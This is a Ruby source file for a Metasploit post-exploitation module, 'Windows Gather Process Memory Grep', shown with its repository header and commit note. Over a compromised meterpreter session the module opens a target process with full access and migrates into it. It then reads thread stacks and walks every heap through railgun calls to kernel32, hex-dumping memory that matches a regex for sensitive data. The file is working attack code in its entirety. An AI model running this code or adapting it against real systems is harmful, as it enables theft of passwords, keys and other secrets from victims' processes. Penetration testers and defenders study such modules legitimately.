Files
metasploit-gs/modules/post/windows/gather/memory_grep.rb
T
Michael Schierl 21f6127e29 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 20:33:01 +02:00

169 lines
4.4 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info(info,
'Name' => 'Windows Gather Process Memory Grep',
'Description' => %q{
This module allows for searching the memory space of a proccess for potentially sensitive
data.
},
'License' => MSF_LICENSE,
'Author' => ['bannedit'],
'Version' => '$Revision$',
'Platform' => ['win'],
'SessionTypes' => ['meterpreter' ]
))
register_options([
OptString.new('PROCESS', [true, 'Name of the process to dump memory from', nil]),
OptString.new('REGEX', [true, 'Regular expression to search for with in memory', nil]),
], self.class)
end
def run
if session.type != "meterpreter"
print_error "Only meterpreter sessions are supported by this post module"
return
end
print_status("Running module against #{sysinfo['Computer']}")
target_pid = nil
stack = []
name = datastore['PROCESS']
regex = Regexp.new(datastore['REGEX'])
target_pid = client.sys.process[name]
print_status("Found #{datastore['PROCESS']} running as pid: #{target_pid}")
if not target_pid
print_error("Could not access the target process")
return
end
process = session.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
begin
print_status("Walking process threads...")
threads = process.thread.each_thread do |tid|
thread = process.thread.open(tid)
esp = thread.query_regs['esp']
addr = process.memory.query(esp)
vprint_status("Found Thread TID: #{tid}\tBaseAddress: 0x%08x\t\tRegionSize: %d bytes" % [addr['BaseAddress'], addr['RegionSize']])
data = process.memory.read(addr['BaseAddress'], addr['RegionSize'])
stack << {
'Address' => addr['BaseAddress'],
'Size' => addr['RegionSize'],
'Handle' => thread.handle,
'Data' => data
}
end
rescue
end
# we need to be inside the process to walk the heap using railgun
current = session.sys.process.getpid
if target_pid != current
print_status("Migrating into #{target_pid} to allow for dumping heap data")
session.core.migrate(target_pid)
end
heap = []
railgun = session.railgun
heap_cnt = railgun.kernel32.GetProcessHeaps(nil, nil)['return']
dheap = railgun.kernel32.GetProcessHeap()['return']
vprint_status("Default Process Heap: 0x%08x" % dheap)
ret = railgun.kernel32.GetProcessHeaps(heap_cnt, heap_cnt * 4)
pheaps = ret['ProcessHeaps']
idx = 0
handles = []
while idx != pheaps.length
vprint_status("Found Heap: 0x%08x" % pheaps[idx, 4].unpack('V')[0])
handles << pheaps[idx, 4].unpack('V')[0]
idx += 4
end
print_status("Walking the heap... this could take some time")
begin
heap = []
handles.each do |handle|
lpentry = "\x00" * 42
while (ret = railgun.kernel32.HeapWalk(handle, lpentry)) and ret['return']
#print ret.inspect
entry = ret['lpEntry'][0, 4].unpack('V')[0]
size = ret['lpEntry'][4, 4].unpack('V')[0]
data = process.memory.read(entry, size)
vprint_status("Walking Entry: 0x%08x\t Size: %d" % [entry, size])
heap << {'Address' => entry, 'Size' => size, 'Handle' => handle, 'Data' => data}
lpentry = ret['lpEntry']
end
end
rescue
end
matches = []
stack.each do |mem|
idx = mem['Data'].index(regex)
if idx != nil
print_status("Match found...\n" + hex_dump(mem['Data'][idx, 512], mem['Address']+idx))
end
end
heap.each do |mem|
idx = mem['Data'].index(regex)
if idx != nil
print_status("Match found...\n" + hex_dump(mem['Data'][idx, 512], mem['Address']+idx))
end
end
end
def hex_dump(str, base = 0, width = 16)
buf = ''
idx = 0
cnt = 0
snl = false
lst = 0
while (idx < str.length)
chunk = str[idx, width]
addr = "0x%08x:\t" % (base + idx)
line = chunk.unpack("H*")[0].scan(/../).join(" ")
buf << addr + line # add the index to the beginning of the line (base + idx)
if (lst == 0)
lst = line.length
buf << " " * 4
else
buf << " " * ((lst - line.length) + 4).abs
end
chunk.unpack("C*").each do |c|
if (c > 0x1f and c < 0x7f)
buf << c.chr
else
buf << "."
end
end
buf << "\n"
idx += width
end
buf << "\n"
end
end